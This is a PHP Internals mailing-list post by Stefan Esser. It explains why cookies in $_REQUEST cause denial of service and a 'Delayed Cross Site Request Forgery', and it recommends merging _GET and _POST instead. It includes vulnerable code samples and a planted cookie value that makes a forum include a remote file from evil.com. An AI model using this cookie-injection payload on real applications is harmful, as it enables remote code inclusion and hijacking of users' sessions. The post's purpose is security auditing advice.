Hello Lukas,
> Ah ok .. sorry for having missed that point. Of course I was assuming
> that the feature worked as advertised. I guess I was thrown off by the
> fact that Stefan initially made it sound like the concept in general
> is flawed and would automatically make an application insecure.
> Obviously a buggy implementation of such a critical piece could lead
> to some issues, though like I said in this case I hardly see this as a
> security risk. Relying on $_REQUEST to implement your
the problem is that you usually don't care if the input comes from GET
or POST. But you normally don't want cookies to influence that.
Just imagine my example...
switch ($_REQUEST['action'])
{
case 'logout':
logout();
break;
...
}
When someone injects you a cookie like +++action=logout through an
XSS or through a feature like foobar.co.kr can set cookies for *.co.kr
(in FF atleast).
Then you CANNOT use the application anymore. This is a DOS. You cannot
defeat this problem except detecting and telling the user to delete his
cookies manually...
There are only hard ways to kill the cookie for you, because then you
would need to
a) parse the cookie header to know exactly how it is called (remember
whitespace in the beginning is ignored)
b) you need to guess for what domain/path combination the injected
cookie was set (because otherwise you cannot kill it)
Have fun with sending tons of Set-Cookie headers or have fun with
telling a DAU how to kill his cookies...
But this problem does not only result in DOS. I have also seen code like
this:
admin_config.php
/* The configuration was modified */
if (isset($_REQUEST['config'])) {
...
updateConfig($_REQUEST['config']);
}
This is what I call a "Delayed Cross Site Request Forgery" because I
just give you the cookie config[header_include]=http://evil.com/cmd.txt?
and the next time you modify the configuration in your application the
sleeping cookie will take effect and overwrite a specific config option.
In this case the included header file of your e.g. forum with a remote
URL. (just an example... such a bug could also be in the user management
and the next time you edit a user he becomes admin...) And the bad thing
with "Delayed Cross Site Request Forgery" is, that all protections
against CSRF will fail in this situation.
So you see that you nearly NEVER ever want the cookie in _REQUEST. And
even if you can think up a theoretical situation where you don't care
the problem is that everyone else uses _REQUEST in unsafe places...
Therefore my recommendation in PHP source code audits is usually... If
your code uses _REQUEST then overwrite it with an array_merge() of _GET
and _POST in the beginning of the script.
Stefan Esser
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
